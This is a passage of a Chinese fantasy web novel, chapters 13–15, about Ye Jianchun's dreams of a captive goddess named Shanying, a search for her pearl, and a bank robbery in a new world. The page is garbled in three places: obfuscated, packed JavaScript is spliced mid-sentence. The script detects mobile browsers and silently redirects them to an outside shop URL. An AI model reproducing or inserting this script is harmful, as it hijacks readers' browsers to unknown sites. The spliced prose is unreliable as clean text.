然而卧倒并无大用——冷箭是从四面八方的阴影中同时射出。他刚伏低身体,头顶便掠过一道尖锐的风声。 叶见春的大腿内侧一热,一根长箭竟然从天而降,笔直地钉在两腿之间,堪堪擦破他的小腿肚。衣角被钉在地上的箭杆勾住,他一时间没有及时躲避另一支射向脑袋的冷箭。 他怎么也想不到,铁这样珍惜的资源,有一天竟然会被人拿来做这种笨重的,只存在于世界数据库里的武器! “嗤”的一声闷响。 叶见春闭上眼,脸上沾上冰冷的液体。 好凉,却很黏稠,他摸了摸,才看清那是鲜血。他的胸腔内温热的血,胸腔外是眼瞳涣散的绿绿。 绿绿勉强伸出一只手,指尖轻轻抚过他的下巴,喃喃低语:“春天,好久不见。” 猝不及防冷箭已经结束了,而他身上的小女孩也彻底咽下最后一口气,窝在他怀里一动不动。叶见春看着黑漆漆的天花板,刻意不去看她,就这样保持诡异的拥抱,感受她体温一点点流失,心里忽然有一点点抽痛。 他明明知道是假的,还是忍不住感到难过。 直到章邱开始检查幸存的队员,他才烦躁地坐起来,绿绿的身体已经冷透了,那样彻骨的寒冷让叶见春很讨厌,他用指腹将她嘴角的血迹仔细抹去。 “艹,什么年代了还搞冷兵器,真是开了眼了。”章邱骂骂咧咧地走近,他看到地上那个一动不动的尸体,愣了一下,但那头绿发已经昭示着结局。他掐住叶见春的脖子把他拎起来,“你他妈是个人,竟然把女人挡在自己前面?” 章邱是在男人堆里长大的,他看绿绿就和看珍稀物种一样,他甚至想过带上绿绿一直上路——毕竟队里又不止绿绿一个吉祥物。 那只手越掐越紧,叶见春灰暗的眼神又缓过劲来,他奋力推开他,随意擦了擦脸上的冷血:“队长你说过,完成任务才是我们的首要目标,区区一个异世界里的陌生人,你要为她——杀我吗?” “艹!”章邱松开他,红着眼睛想把绿绿抱起来,一只苍蝇飞到绿绿胸口的箭杆尖上,眼睛诡异地盯着他,触手不断搓滚自己的头。那瞬间,章邱仿佛也变成了这只苍蝇,他蓦然收回了手,破口大骂,“该死,这里怎么会有苍蝇!” 谁知道呢?叶见春想,真恶心,和那头绿色头发的人一样。他心里这么想,手却不受控地轻柔地摸了摸绿绿顺滑的短发,仿佛十分珍惜。 章邱指着叶见春,戳着他的心口,像是一种诅咒:“你最好随时做好去死的准备。” 13. 杀.Chapter 13 叶见春第二次进到神明的梦里,轻车熟路地飘荡着自己失重的身体,在这片漆黑的梦里寻找光亮。 四处都是邦邦硬的玻璃,叶见春撞了一圈得出结论。 突然灯光亮起,刺眼得让人难受,他才看清,原来这玻璃圈起来的中央,还有个人。 她呼吸微弱,几乎感受不到生命,浑身血污,胸口脖颈附近插满了线管,几乎没有间隙,密密麻麻,十分骇人。她与旁边巨大的仪器连接在一起,看起来和仿生人别无二致。她的头发却与半机械的身体不同,泛着晶莹剔透的绿,仔细看里面甚至有气泡在不断往上冒,充满勃勃生机感。 他认出她——“神明!” 山樱听不见他的声音,只是抬起晦暗的眼睛,死死盯着前方。 “偷跑出去,还撞倒了外面的实习生,001,你长本事了?” “爸爸说了多少遍,你的身体是最重要的,你看看,这回连鳃都被剐没了,多疼啊。” “告密的人是063,是要我们处理还是你自己来?” 神明动了动,管线便自动离开她的躯体,前胸处豁然露出一个大口子,甚至能看见皮肉下跳动的心脏。她的身体像一个四处透风的皮影套,好在没有流血。 063被困住四肢丢在她面前,她眼神空洞,在进来之前,就已经被他们绞毁了她的脑神经结构。 神明捡起被扔在地上的枪,抵住她的太阳穴,毫不犹豫地扣动扳机。 子弹压根没有上膛,但那个女孩还是死在她面前。 她的表情都没有任何变化,可外面的声音忽然激动起来: “激素水平发生变化了,给她加大电流惩罚力度。” 063那样的蠢货,在他们手上只会受到更多折磨,无论放在哪里都活不久。山樱向后倾倒,身体因为电流微微颤抖,她轻蔑地嘲笑那些看不见的人,不知道在和谁说:“再见。” 她的声音好轻,如果不是贴着她,叶见春根本听不见。 玻璃之外究竟什么人在说话,叶见春什么都看不到,他疑惑地盯着模糊的玻璃,脑子里都无法想象,神明竟然对他们的虐待无动于衷。 难道她过去是被人类囚禁的神明吗? 很久之后,山樱闭上疲倦的眼睛,她身上血淋淋的伤口已经长出肉瘤形状的丑陋无比的组织结构挡住那块漏风的缺口,除了口鼻,她全身都被泡在绿色的营养液里。 叶见春看着昏厥的女孩,心里有些不是滋味。 平心而论,他的同情心其实少得可怜,毕竟他在这该死的人生里也真的很难学会共情别人。他更多要考虑的是怎样才能装作神明的信徒,所有的情感都是克制的,为了活下去,他不希望和任何人产生过多的关联。 可为什么,他看着面色死寂的神明,心脏跳动得难受。不对,她这么坏,这么强,怎么也该和可怜这两个字沾不上边。 或许是下一个陷阱。 神明忽然发出闷闷的嘶声,叶见春心头一紧,忘记自己根本碰不到她的身体,忍不住伸手去摸她已经快好了的伤口,却在触碰前的一瞬眼前一黑,睁眼就身在一片灰暗里,只能勉强看清眼前的神明。 山樱锁骨延至胸下那道快好了的伤口再次撕裂开,几乎可以看见若隐若现的骨头。 他立即给她止血。这动作太自然,让他也没意识到自己已经实实在在捏着她的肩头。 太瘦了,她以前也吃不饱饭吗? 止血过后才发现这里原来是之前走过的迷宫,山樱披着一件黑色斗篷,坐在地上一动不动地看他,神情冷淡,完全感觉不到疼痛一样,眼睛像两团鬼火幽幽地盯着他。 叶见春心情复杂,语气软了又软,问她:“你怎么样了?” 叶见春说完又被自己吓了一跳,捏了捏嗓子,发现自己竟然在一个孩子的身体里——应该还没变声的男孩,声音脆脆的。 这人是谁?算了也不重要了。 “他”不受控制地继续在她面前挥手:“喂,和你说话呢,你听见没有?你还能不能走路了,要不我背你?” 男孩的执行力很强,他轻易地背起山樱,继续向前走。他小小身躯,力气却出奇大。 忽然,山樱扯着他的头发往后拉,男孩吃痛,停止脚步愤怒地问:“干什么!” 他刚说完,前面就闪现数万条红色射线,他震惊地问她:“你怎么知道?” 山樱半敛睫毛,无缘无故说:“136次。” “什么?” “这是我的第136次出逃,你是几号?”山樱伸手从他的后颈下方揪下一根黑色羽毛,仔细把玩。 男孩皱了皱眉,说:“我不喜欢那些代号,我叫阿羽,你是什么人?” 山樱没有说话,眼睛藏在黑暗里眨了一下,似乎在想些什么。 山樱趴在他肩头上,微微放松的姿态,悠闲地指挥他往前,叶见春觉得这一幕似曾相识。当时绿绿也是这样,只不过绿绿故意离他很近,喜欢贴着他的耳廓讲话,但这里,神明却有意和男孩隔开距离。 一声枪响打破了这默然的默契,阿羽惊恐地看着前方,那发子弹却迟迟没有落到自己身上。 他的视线聚焦,才发现子弹在他面前高速旋转,像是有什么无形的东西阻碍了它的轨道。子弹慢慢停下来,清脆地落到地上。 阿羽终于害怕了,他把山樱放下来,后怕地退了两步:“这怎么做到的……你是几号?” 神明在她的世界里当然可以为所欲为,叶见春觉得这人大惊小怪。 可阿羽像看一个怪物的表情,山樱摸了摸伤口,那里已经结痂了。她露出一个标准的假笑,缓缓开口:“我以为你知道,不过如果没有我,你出不去,想告发我——” 她笑意更深:“随时欢迎。” 阿羽没有说话,他又蹲在山樱的面前。山樱拍了拍他的肩膀,绕过他,男孩不可思议地看向她的小腿,说出自己的心里话:“你真是一个怪物。” 怪物山樱仍然花费了巨大的代价才来到出口,她已经精疲力尽,不过在叶见春看来,也只是脸色白了几分,身上多了几道血痕。 她绿色的头发刚一经过地下室最后的大门,立即发出滴滴警报声,叶见春本能拉着她的手想带她跑,可山樱腿软地跪在地上。 男孩在离开和留下之间徘徊,山樱推了他一把,摇头说:“听人说,外面的世界还不错,家人、朋友、海洋馆,没有要死要活的游戏,没有我们这种怪物,你有翅膀,也许真的能飞出去看看。” 男孩沉默了。 很快,他从怀里掏出一个瓶子,看起来还有点重,不由分说地挂在她身上:“我知道我不可能真正逃出去,可你这么强大,一定有办法能离开这里。我帮你拖延时间,只求你把这个撒在外面,远离这里的任何地方,她就会自由。” “她是谁?” “给我起名的人。” 山樱那时并不明白这种情感是什么,她只觉得这个人很奇怪,提起“她”的时候,整个人都很怪异。可她无法再继续思考,眼皮越来越重,她努力睁开眼,看见男孩展开两人长的翅膀,黑色的羽毛在月光下闪闪发光。 他飞走了。 他一飞走,山樱立即睁开眼,完全没有刚刚快要不行的样子。她的确已经到了强弩之末的状态,但远没有她表现得那么严重。她不过是试探试探他的态度,怎么还真去帮她引开那些人了? 真是物超所值。 她重新披好黑色的斗篷,不顾满身的伤口,跌跌撞撞地往前跑,跑得精疲力尽。她都有些恍惚了,好像只要往前跑,就能看见那些她曾经见过的,后来又再也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094699|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见不到的人。 在连续跑了几十分钟后,她重重地摔在地上,与此同时,叶见春感受到双翅被斩断的剧痛。 痛到极致的麻木,他想,真不如死了呢。 然而痛觉还没有消失,他转眼又看见在黑暗里悄无声息倒下的山樱,她太虚弱太安静,叶见春担心地飘过去,隔着虚无,给她一个没用的拥抱妄图接住她。 她可是神明,玩弄人心杀人不眨眼的神明啊。叶见春此时却看着悄无声息的女孩,心里止不住想,如果有人救救她就好了。 四处警报声响,却夹杂着低低的人声:“行之!简行之!别亲了!完蛋了我们俩好像闯祸了!” “那里有人?” “那里怎么可能有人你……我的黛栗妈妈呀竟然真的有人!” “她好像有点死了。” “你到底会不会说话,赶紧带她出去看医生。” “走那边别让人发现我们俩偷情把警报都偷响了。” “……偷情?” 叶见春看见一对年轻的脸庞,他们有与自己酷似的眉眼,可他无法离开这个鬼地方,只能看着他们抱着怀里的女孩离开,他不受控地留下两行泪,突然大喊:“妈妈!爸爸!山樱!” 你们,别丢下我。 别,丢了我。 - 山樱凑近叶见春的脸,她很想知道他梦见了什么,睫毛湿漉漉的,是看到什么不好的东西吗? 这片海底是她潜意识的深处,她曾经那些情绪与意识都会影响他。 忽然,他握住她的手,喃喃着说:“求求你,别离开我。” 山樱觉得他很有趣,于是凑近说:“好吧好吧,神明答应你了。” 她还没收回身子,叶见春猝然睁开眼,他从没离人这么近,一扭头,结结实实地亲上山樱的眼尾。 他的心突突跳,山樱不是梦里的小女孩,也没有用绿绿那副无知少女模样,她的眉眼长开,眼睛灿如繁星,浑身散发着生机的气息。 他觉得很冒犯,又理不清楚究竟是谁在冒犯谁,迅速低头本能道歉:“对不起。” 山樱看见他红透了的耳朵,觉得很稀奇,她明目张胆地亲了亲他的耳尖,说:“没关系,我要回来了。” 于是这个人从耳朵红蔓延到全身红。 奇怪的情感,似乎她曾经在谁身上也看见过,不知道为什么转移到这人身上。 叶见春好不容易思绪回笼,意识到刚刚发生了什么,羞愤地离她远一步,他上下打量这里,看起来是个巨大的贝壳,粗略估计至少能容纳50个人。 他再一次把刀横在他们之间,还没来得及说话,山樱两指捏住刀脊,牢牢控制住让他无法收手,歪头问:“你,又想杀我了?” 她害死了那么多人,难道不该死吗? 心里却有个声音在小声说不可以,让他迟迟下不了手。叶见春想,反正他也打不过她,他挣不挣扎都没有意义。 神明过着这世上最幸福的生活,他们有至高无上的权力和享之不尽的资源,哪怕被人囚禁在宫殿里的神明,也不会受到什么实质性的伤害。毕竟他们生来就比人高贵一等,整个世界都是他们的化身。 可他想不明白,为什么她会在逼仄狭隘的环境里长大,为什么被层层迷宫困锁,为什么变成这样一个生杀予夺毫无情感的神明?他的父母究竟与她有什么渊源?她到底是个怎样的人? 然而她只是神明的一个碎片,承载着神明部分记忆和情感,无法回答自己任何问题,他不知道该用什么样的表情面对她。 山樱不屑地笑了笑,说:“你该不会以为杀了我你就能出去吧?没有得到我想要的,杀了我你也出不去。” 他问她:“你想要什么?” 山樱用开玩笑的语气:“吻我?” 14. 杀.Chapter 14 叶见春乖乖吻了吻她的额头,又问她:“现在可以告诉我了吗?” 山樱摇头,说不够。 叶见春从她的额头,到眉毛,到眼睛,到鼻尖,她仍然说不够,最后意有所指地点了点自己的唇瓣。 他犹豫了一下,被蛊惑似的,轻轻附上她的唇,舌头轻轻试探着舔了一口。 他好乖,让她几乎控制不住自己的杀欲。 山樱的眼瞳颜色越来越深,在杀他和吻他之间徘徊了一会,最后冰冷的手按住他的后颈,这次她没有温柔地克制自己的力度,带着毁灭的欲望啃咬。 吻完,她舔舐干净他唇角伤口的血迹,笑得很开心:“傻春天,骗你的,你出不去,想出去……” 叶见春被亲得发懵,竟然忘记了生气,平静地问:“还要我做什么?” “我的珍珠掉在这片海里了,给你三天时间,找到了就允许你的愿望。”山樱眨眨眼,叶见春竟然看懂了她的潜台词——“这回是真的。” 他明白了,珍珠,也许才是这片小世界的本体。 叶见春紧紧抓着她的手,似乎是刚刚的亲密给了他一点能够接近她的错觉,顶着那张殷红发肿的嘴小心翼翼地问:“神明,你认识我爸妈对吗?” 山樱的眼睛笑得弯弯,从他微热的掌心里一点点抽离出来:“让我想想,你刚出生的时候我还抱过你呢。春天,你的名字是我起的。” ……这话怎么听都很违和感。 “那他们的死和你有关吗?” “也许吧。如果你再求求我,没准我就想起来了。” 叶见春失望地松开了手,不想做无谓的恳求。果然,神明这个骗子,嘴里还是没有一句真话。 他站起来,发现身上那些溃烂的伤口已经好透了。神明则坐在他刚刚躺着的地方,阖眼假寐。 这里还真是海底,话说他在海底呼吸,说话,接吻,竟然都没有影响吗? 叶见春忽然顿住,脸上后知后觉地泛红。只是个意外,他狠狠敲了敲自己的脑袋。 - 四处都是珊瑚礁、海葵和黑色的满身长刺的海胆,硌手又硌脚。里面隐藏着各色各样的小鱼,它们朝那些海胆吐沙沫。看起来可比船上那群喜欢翻白眼的鱼群标本多点灵动和韵味,仿佛真正自由地活在这片海里。沙土里埋着一截截奇怪的树棍,但仔细一看顶部却全是冷漠无情的凸鱼眼。一些发着荧光的粗毛刷排排竖着,随着海水摇摆,偶尔。还有很多在地上缓慢移动的沙币和海星,叶见春难得有些茫然。 太大了吧。 什么鬼珍珠,她一定是笃定自己找不到才说的。 叶见春看到一个破烂陶罐,看起来应该被列在古董的行列里,躺在细沙里,瓶身有鱼鳞一样的纹理。他试着掏了掏,掏出一只黑白斑点的大海鳗。 海鳗蓝色的眼睛幽幽地看着他,叶见春有预感地往后退步,它咬了口空气,尾巴一摆又回到罐子里。 唉——叶见春叹气,吐出一串绵密的气泡,盘旋向上。 他随意地拔了几根旁边滑溜溜的海草,又坏心眼地把那些鱼儿的家都翻了个底朝天。转头就看见没睡好觉的山樱远远地从贝壳里探出头,手上捏爆了一个海胆,冷脸警告他:“春天,把珊瑚翻回去。” 她小脸阴白的,叶见春不敢违逆她。他在外面闯荡几百年,从来没有那个时刻像现在这样心虚,仿佛自己回到了那个调皮捣蛋的年纪。可神明又不是他的妈妈,他为什么会怕她? 当天晚上他就做噩梦,梦见神明和母亲在一起,窗户外面有一颗光秃秃的树。 叶清泠身上盖了一层薄薄的毯子,但仍然能看出肚子鼓鼓的,她选的胎教读物是一本千年前的文献读物,声音轻轻柔柔,语调温柔:“盼望着,盼望着,东风来了,春天的脚步近了……” 神明本来趴在她手边睡觉,忽然抬头问:“春天是什么?” 饶是博学如叶研究员也一时卡壳,她想了想,指了指外面光秃秃的树杈,说:“那棵野山樱据说活了八百年,黛栗妈妈说她年轻的时候看过一次它开花,不过也可能是她乱讲的。书上说,以前花开漫山遍野万物复苏时,人们就知道是春天来了。” 神明目光灼灼地看着那棵树,她似乎在咀嚼这些话的含义。 叶清泠看她发怔,试图转移她的注意力:“绿绿,你想起来自己叫什么了吗?爸爸妈妈在哪呢?”说起来惭愧,因为她头发是绿绿的,所以她一直叫她绿绿,也没有个正式名字。 神明朝她灿烂地笑了笑,小脸向着窗外,说:“我想起来了,我叫山樱。” 这是叶清泠与她相处这一年里见过最真心的笑意。她无时无刻不挂着乖巧的笑容,可那些笑似乎抵达不了她内心的一分一毫。 “山樱……”叶清泠语塞,相处一年,她并非没看出来小姑娘的不对劲,譬如她头发的颜色并不是天生,而是是叶绿素实验的成果。而这项研究,是她大学跟着导师进行的项目之一,她再清楚不过了。可怜她小小年纪,身上却全是各种实验留下的疤痕,对人有防备,也很正常。 她想到这里,肚子忽然鼓起一个小鼓包,山樱好奇地把手放上去,感受里面的胎动,问:“你肚子里面是什么?” “是和我们一样的人,人都是这么出生的。” “……”骗人,她就不是这样出生的。 但山樱还是没有说出来,她隔着一层皮安抚这个不太安分的家伙,其实她很担心,里面这个人只是一团肉球,一不小心就会死掉,她不喜欢这样过分柔软的东西,太脆弱。 她问:“那叫它什么呢?” 叶清泠握着她冰凉的手:“它还没有名字,你可以先帮它起一个。” “……就叫春天吧,我很喜欢春天。真想看看,春天来了会是什么样子。”山樱的目光向上,仿佛真的看到满树樱花盛开的样子。 叶清泠也笑弯了眼:“好,就叫春天吧,听起来就很有希望。”如果有一天,春天重新回到人类身边,那一定是个很美丽的季节,万物生长,自由无束。 叶见春从水草团里睁眼,有种恍然大悟的畅然,原来他的名字真的是她起的。看起来她与妈妈的关系也不坏,也许真的抱过他。 他特地去问山樱,但神明只是噗嗤一笑:“你真信了?” “神明,我爸妈……是个怎样的人?”他其实很想问他们是怎么死的,到底和她有没有关系。可是他清楚,山樱或许是不记得,或许是在故意回避,总之她不愿意告诉自己,他就只能自己去寻找答案。 山樱歪着头,客观评价说:“他们是很天真的理想主义者。” 她看见身旁人落寞的表情,若有所思地想了一会,无师自通地学会了安慰:“他们对你很不一样,从知道你存在的那一天开始,他们就在期待你的到来。” 山樱不知道那是一种怎样的情感,在别人口中那应该称之为爱,但她又觉得,叶清泠对他的情感,似乎不只用一个爱字来概括。她难得为一个人类这样费心思,用手拍了拍他的头:“只是很可惜,我没能见到你出生的样子,他们也没能陪你长大——好了乖乖去找珍珠吧。” 她打了个哈欠,又睡着了。 这转折没有一点感情掺杂。 没事的时候山樱很喜欢睡觉,还没说两句就没声了,一点也不防备自己。叶见春没走,叛逆地靠近她,心里忽然滋生出妄念——想摸摸她的头发。她绿色的头发似乎比她的体温更温暖,亮晶晶的,里面无数闪烁的气泡。气泡冲破了发丝,轻轻柔柔地打在他指尖。 叶见春顿时清醒,他呼吸停了一瞬,头也不回地跑了出去。山樱仍然闭着眼,睫毛微颤,嘁了一声,翻身继续睡觉。 这一次,叶见春找得更加细致,大大小小的贝壳也被他扳开检查,很多小鱼已经练就应激反应,见到他就躲。毕竟他连沙底下潜藏的剧毒石头鱼也不放过,人类果然恐怖如斯。 还是没有找到。 但这天晚上,他又做梦了。 那只虎鲸再次出现,它生来属于大海,像一只精灵自由灵活地探索这片海洋,叶见春很高兴再次见到它,远远挥挥手。虎鲸高亢地怪叫一声,低下头,拱了拱自己。 这种庞然大物可能不知道自己的杀伤力有多大,叶见春瞬间被强大的冲击撞麻,浮出水面。 从水面回到冰冷的实验室,从现实角度来说不可能,而在梦里却毫无察觉。 叶见春看见倒在地上的自己,和翘着二郎腿随意地坐在椅子上的神明,她的笑容无可挑剔,低头挑了挑他的下巴,居高临下地说:“如你所愿,神明——允你。” 其实中毒的感觉很难受,几乎无法呼吸,他对生机的敏锐力让他比其他人更加难受。叶见春觉得自己又死了一次,他满头大汗地惊醒。 他想起来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094700|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>圆润微凉的珠体,那颗珍珠,在他体内。或者说,是他自己。 今天是第三天,阳光还没洒入黑漆漆的海底,现在还是伸手不见五指的黎明。叶见春闭眼感受生机所在,缓缓地踱至山樱面前,他埋怨地说:“神明,你的珍珠,从来就没丢。” 什么冰冷的硬物轻轻划过自己的脸侧,他想也许看不见的只有他自己。山樱的声音仍然是欢快的:“小春天,没想到你竟然找到了,想要什么奖励?” 叶见春没睡醒似的,声音也闷闷的:“我能多问几个问题吗?” “不可以呢。” “那意味着我们可以活着走出这里了是吗?” 山樱顿了顿:“们?春天,你和这上面的人,只能活一边呀。” 过了很久,他都没有说话。他耳边忽然拂过一阵凉风,微热的气息打在耳垂上,他从来没听过这样纯真又邪恶的声音:“春天,他们的命和你的命,选一个?” 好熟悉的问题。 可是叶见春知道,这次的山樱可不会像上一次心软,她的这片碎片承载着应该是她的杀欲 ——她只想杀了他们。 所以这次他回答得很快:“我要我活。” 他说出这句话的同时,天空慢慢变亮,连带着海底也洒下几分光辉。他看清对面红色的眼眸,像太阳一样,能灼烧自己。 她大笑起来,僵硬地扭扭头活动筋骨,说:“很好,我帮你把上面的人杀了。” 没走两步,却被人跪着抱住了大腿。山樱冷漠地转身,几乎要捏碎这人的下颌骨:“你在干什么?” 叶见春不肯放她走,温声说:“山樱,你根本不想杀他们,不是吗?”她的眼睛璀璨又明亮,那绝不是贪恋厮杀快意的目光。 山樱凉薄的眼神一寸寸打量他,声音像南极冰川上凛冽的滚刀风:“谁准你揣测神明?” “神明,我愿意成为您的信徒,将生命奉献给你,为您所用,绝无二心。请你赐我长生,欢愉和不竭的力量。” 这是信徒的誓词,叶见春做梦也没想到,有一天他会主动打破底线,亲手把自己送到神明的跟前。 山樱的瞳色开始逐渐变浅,她饶有兴致地问:“把命给我?” 叶见春从来没有这样卑微:“现在我是你的了,我帮你找到了珍珠,你答应过我,会允许我的愿望。” 好狡猾的信徒,明明选择了自己活,却又说什么把命给她,还不让她杀上面的人,出尔反尔,狡诈异常。 山樱一巴掌打在他脸上,不算疼,她揉搓着他的耳尖,揉到充血的红色:“小春天,你在算计我?不怕我真的收走你的命吗?” “无论我是不是你的信徒,我的命都不在自己手上。神明,我只是想活下去,和你一起。”叶见春抓着对方的手,他也许不知道,这一刻,他的眼底的狂热像一个孤注一掷的赌徒,压上自己的全部身家,等待一个逆风翻盘的机会。 山樱的呼吸停了一瞬,但她的笑容越扬越大:“好吧,既然我的小信徒如此有善心,我同意了。” 她的脸离他越来越近,叶见春的身体微微颤抖,被她捧住脸:“你在怕什么?既然敢耍我,总得承担代价吧。” 没等他回答,她忽然向下咬住他的脖子,下了死嘴。叶见春紧紧咬住下唇,没有叫出来。 太痛了,叶见春终于因为痛苦而倒在地上,一个深深的牙印刻在他脖颈处。 山樱把他从地上抱起来,带着血的唇最后轻轻吻了吻他发白的唇瓣,怜惜地说:“小信徒,期待你真正找到我的那天。” 手腕的缠臂?不断发热,长出更多枝干,叶见春被烫到眼前发黑,再睁眼,发现自己回到了甲板上。 闵宇睡在地上,迷迷糊糊听到动静,他不可思议地揉了揉自己的眼睛,一副不敢相信的模样。 叶见春摸了摸唇,很快冷静下来,问他:“章邱呢?” 闵宇终于抽涕地回答:“他跳下去找你了。” 叶见春眼神微暗,那八成是死了。 时空门再次被开启,眼看着叶见春就要走进去。闵宇好奇地跟着他:“春哥,这不是陷阱吗?” 叶见春微微一笑:“现在不是了。” 神明碎片已经消失,这门自然也不再是杀门。 她设下杀局,却没有杀心。 奇怪的神明。 他们一齐走进时空门中。 15. 爱.Chapter 15 天空是青灰色的,灰扑扑的云朵半死不活地挂在远方,他们头顶飞过一艘超速驾驶的飞船,叶见春敏锐地按着闵宇的头蹲下。 船上人不知道骂了什么难听的话,被尾部喷出的气流打散,消音在浑浊的空气里。 这是他们熟悉的场景——其他小世界里大差不差的景象,高耸入云的建筑,电轨道上麻木行走的机器人,四处旋转的天眼监控以及硕大的正在吭哧吭哧地努力干活的空气净化机。 空中飞船不顾交规四处乱窜,将上空那片半死不活的云朵彻底打死,拉成一条条曲线痕迹,尾气与天空的颜色完美融合。 “我去,001世界还怪繁华的,世界论坛里不是说她没有信徒吗?”闵宇拍着空气的灰尘,对飞船离去的方向呸了好几声。 叶见春谨慎地退了几步,走到安全区域:“小心些。” 他们很快了解到这里的基本情况。 好消息是这里有神明。 坏消息是他们似乎进入了一个极其传统主义的君主制世界,神明是两个孩子的妈。 神明可以与人生子,但无数事实证明,祂们的孩子只会是一个比普通人更加普通的人类。色令智昏,这一点上,神明与人,似乎也没什么不同。 但此刻,叶见春脑海中唯一翻涌的念头是——神明是她吗? 闵宇踌躇满志地跟在他身后,目光坚定,仿佛只要叶见春一声令下,便可以为他赴汤蹈火,表明自己的忠心。 他讨好地擦干净叶见春身上的血污,眼睛无意瞟到一个清晰的牙印,欲言又止,最后僵硬地转移话题问:“我们现在该做什么?” 叶见春淡淡回答:“抢银行。” 闵宇兴致冲冲:“好……等等,春哥你说抢哪里?” “银行。” 闵宇嘴角的笑容慢慢放下:“等等,我刚刚好像出现幻听了,我们去银行干什么?” “抢劫。” “……”为什么感觉他把抢劫说得像是去吃饭一样轻松。 意识到即将要做什么的闵宇腿一软,老实跪在地上:“春哥,我可能突发恶疾,无法行走,就在这等你回来好吗?” 叶见春也蹲下,语气略带温柔,分析说:“可是我一定回不来,这里到处都是天眼监控,等我一出事,你只会更危险。” “那我们为什么要抢银行啊?”闵宇眼泪都要流下来了,难不成春哥还记着上个世界的仇,想报复他吗? 非要选条死路的话,他倒不如架把刀在自己脖子上一抹,也省去后面这许多痛苦。他跪在地上,一个劲地说对不起。 他哭得太凄惨,行人纷纷向他们投来异样的目光,即使在这些人身上没有感受到生机,但叶见春久违地感到丢人。干脆直接捂住他的嘴,闵宇不断发出呜呜的叫声,叶见春只好在他耳边简单解释:“我们要找到的神明,但她的记忆碎片未必会记得我们。只有最显眼的事才能吸引她的注意,方便我更快确定她在哪里。” 有什么比抢银行更像显眼包的事吗?闵宇瞬间明白他的意思,但情不自禁地打了个寒颤,可是……这不就是千里送人头,他们真的能有命撑到神明出现吗? 叶见春说这话时,眼神透着熠熠生辉的光彩,似乎很期待与神明的再次相见。他眸底的炽热能感染人似的,闵宇不自觉地跟着他说:“好吧?” - 银行之所以重要非常,不光是因为里面每天都在进行的海量世界币交易,更是源于小世界所有信徒的念同样被存储在此。 虔诚信徒的宣誓才能被神明听见,念力足够出色的人一旦被神明认可,就可以将念交给祂们,得到神明长久的庇佑,无论是谁也抢不走他的念力。 因此小世界的集体念力总量与纯度成为小世界强大与否的关键的核心竞争指标。 神明信徒太多,他们的念往往交给银行机构进行管理,神明可以任意支配银行里任何人存下的念。然而一旦在银行里存下自己的念,此后无论那人身在哪里,神明都可以随时控制他们,即使悄无声息地成为那个人,其他人都一无所知。 神明是这世上最可怕的存在。 - 叶见春手心发出柔软的绿光,随着念力散发,周围的死物气息慢慢覆盖他和闵宇的生机,他们顺着空气净化管道悄无声息地潜入,躲避那些检测活物的仪器。 托某吉祥物的福,整个过程顺利异常,不仅完美地骗过了那些感应机器,还赶上机器人的交班空隙,两人成功卡进存放巨型储念机的密室。 “储念机原来这么大呢,难怪他们都说001世界的神明是所有神明中念力最强的,这么大啊。”闵宇满脸震惊,眼里满是崇拜。他用手比划着,惊讶得嘴都合不上。 如果山樱这时在这,他恐怕会立即倒戈求着做她的信徒。 叶见春一手轻轻触碰储念机最外层的坚硬外甲,毫不留情地打破他的幻想,说:“里面没有一点念。” 闵宇的大牙还没来得及收回,有人突然破门而入,身后紧跟着无数的黑衣人,全副武装,来者不善。 也不知道什么人逃命能逃到这,逃到这就算了,这人一见面就紧紧抓住两人,抬起一张比天还灰黑的脸。 闵宇想挣脱那攥得死紧的铁掌,用力拍打他手背:“你谁啊你?” 那黝黑得几乎认不出脸色的人瞪了他一眼,闵宇这下看清了他脸上的刀疤,又被吓软了腿:“队长……您怎么在这?” 叶见春心里闪过一丝不好的预感,天花板的隐形天眼突然睁开,齐齐对准他们。刹那间,三人被突如其来的电流瞬间击晕。 等待他们的只有神明的审判。 - 叶见春醒来感觉还不错。 得益于让他反反复复感受濒死体验的某位神明的特殊癖好。小小电击,完全没有给他身体及心灵造成半点伤害,甚至有种放松大脑之后的酥麻感。 他本以为自己会在肮脏黑暗的囚笼里接受神明审判,没想到睁眼看到的却是一张豪华松软温香的大床。 床的两边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094701|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站着穿着相同服饰的女仆,她们很年轻,衣服轻便又合身,上面古老华贵的刺绣图案以及失传已久的手工蕾丝装饰无一不在彰显这里的低调奢靡。 叶见春抬起头,天花板的镜面清晰映出一张深红色的圆形床榻,以及常年掩于衣物之下、大片裸露的冷白皮肤。 他忽然抬手,给了自己一记清脆的耳光。这突兀的举动没有引起任何异动,旁边人似乎对这种情况见怪不怪,只低着头一声不吭。 